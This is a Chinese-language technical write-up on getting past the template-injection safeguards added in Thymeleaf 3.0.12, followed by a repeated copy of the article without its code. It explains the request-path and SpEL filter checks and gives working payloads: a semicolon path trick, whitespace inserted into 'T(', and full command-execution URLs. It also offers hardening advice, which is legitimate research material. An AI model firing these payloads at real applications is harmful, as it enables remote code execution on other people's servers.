JAVA安全之Thymeleaf模板注入防护绕过
字数 1176 2025-08-22 22:47:30

Thymeleaf模板注入防护绕过深度分析

文章前言

本文深入分析了Thymeleaf模板引擎在3.0.12版本中新增的安全防护机制及其绕过方法。当若依CMS等系统使用Thymeleaf模板引擎且存在模板注入可控点时,常规的通用载荷在3.0.12版本中不再生效。本文将详细剖析Thymeleaf的防护措施和有效的绕过技术。

环境搭建与初步测试

测试环境准备

使用spring-view-manipulation项目进行演示:

https://github.com/veracode-research/spring-view-manipulation

原始版本测试(Thymeleaf 3.0.11)

在Thymeleaf 3.0.11版本下,以下载荷可成功触发命令执行:

/path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22cmd.exe/c%20calc%22).getInputStream()).next()%7d__::.x

升级版本测试(Thymeleaf 3.0.12)

修改pom.xmlspring-boot-starter-parent升级到2.5.6版本:

<parent>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-parent</artifactId>
    <version>2.5.6</version>
</parent>

使用相同载荷会触发以下异常:

java.lang.IllegalArgumentException: Invalid template name specification: 'user/__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("cmd.exe /c calc").getInputStream()).next()}__::.x/welcome'

防护机制分析

第一阶段防护:checkViewNameNotInRequest

ThymeleafView.renderFragment方法中,3.0.12版本新增了安全检查:

SpringRequestUtils.checkViewNameNotInRequest(viewTemplateName, request);

检查逻辑详解

  1. 字符串处理

    • 使用StringUtils.pack()处理viewName
      • 移除所有Java空白字符(Unicode空格、制表符、换行符等)
      • 转换为小写
  2. 请求URI处理

    • 获取请求URI:String requestURI = StringUtils.pack(UriEscape.unescapeUriPath(request.getRequestURI()))
    • 检查requestURI是否包含处理后的viewName
  3. 参数检查

    • 遍历所有请求参数,检查参数值是否包含处理后的viewName

绕过方法

通过构造特殊URL路径绕过检查:

/doc;/__${T(java.lang.Runtime).getRuntime().exec("calc")}__::.x
或
/doc/;/__${T(java.lang.Runtime).getRuntime().exec("calc")}__::.x

原理:分号(;)改变了URI解析方式,使checkViewNameNotInRequest检查失效。

第二阶段防护:SpEL表达式限制

即使绕过第一阶段检查,仍会遇到表达式解析限制。

限制机制

containsSpELInstantiationOrStatic方法中:

  1. new关键字检查

    • 反向扫描查找"new"关键字
    • 检查前后字符是否符合Java标识符规则
  2. T(构造检查

    • 查找"T("模式
    • 检查前面字符是否不是Java标识符部分

绕过方法

在"T("之间插入不影响执行的字符:

T (java.lang.String)    // 添加空格
T%0a(java.lang.String)  // 添加换行符
T%09(java.lang.String)  // 添加制表符

完整利用载荷

结合两种绕过方法,构造有效载荷:

/doc;/__${T (java.lang.Runtime).getRuntime().exec("calc")}__::.x
/doc/;/__${T%0a(java.lang.Runtime).getRuntime().exec("calc")}__::.x

防护建议

  1. 升级到最新Thymeleaf版本
  2. 对用户输入的视图名称进行严格过滤
  3. 避免直接将用户输入作为模板名称使用
  4. 实现自定义的视图解析器,增加额外的安全检查

参考链接

Thymeleaf模板注入防护绕过深度分析 文章前言 本文深入分析了Thymeleaf模板引擎在3.0.12版本中新增的安全防护机制及其绕过方法。当若依CMS等系统使用Thymeleaf模板引擎且存在模板注入可控点时,常规的通用载荷在3.0.12版本中不再生效。本文将详细剖析Thymeleaf的防护措施和有效的绕过技术。 环境搭建与初步测试 测试环境准备 使用 spring-view-manipulation 项目进行演示: 原始版本测试(Thymeleaf 3.0.11) 在Thymeleaf 3.0.11版本下,以下载荷可成功触发命令执行: 升级版本测试(Thymeleaf 3.0.12) 修改 pom.xml 将 spring-boot-starter-parent 升级到2.5.6版本: 使用相同载荷会触发以下异常: 防护机制分析 第一阶段防护:checkViewNameNotInRequest 在 ThymeleafView.renderFragment 方法中,3.0.12版本新增了安全检查: 检查逻辑详解 字符串处理 : 使用 StringUtils.pack() 处理 viewName : 移除所有Java空白字符(Unicode空格、制表符、换行符等) 转换为小写 请求URI处理 : 获取请求URI: String requestURI = StringUtils.pack(UriEscape.unescapeUriPath(request.getRequestURI())) 检查 requestURI 是否包含处理后的 viewName 参数检查 : 遍历所有请求参数,检查参数值是否包含处理后的 viewName 绕过方法 通过构造特殊URL路径绕过检查: 原理:分号( ; )改变了URI解析方式,使 checkViewNameNotInRequest 检查失效。 第二阶段防护:SpEL表达式限制 即使绕过第一阶段检查,仍会遇到表达式解析限制。 限制机制 在 containsSpELInstantiationOrStatic 方法中: new关键字检查 : 反向扫描查找"new"关键字 检查前后字符是否符合Java标识符规则 T(构造检查 : 查找"T("模式 检查前面字符是否不是Java标识符部分 绕过方法 在"T("之间插入不影响执行的字符: 完整利用载荷 结合两种绕过方法,构造有效载荷: 防护建议 升级到最新Thymeleaf版本 对用户输入的视图名称进行严格过滤 避免直接将用户输入作为模板名称使用 实现自定义的视图解析器,增加额外的安全检查 参考链接 Spring View Manipulation Research Thymeleaf Official Documentation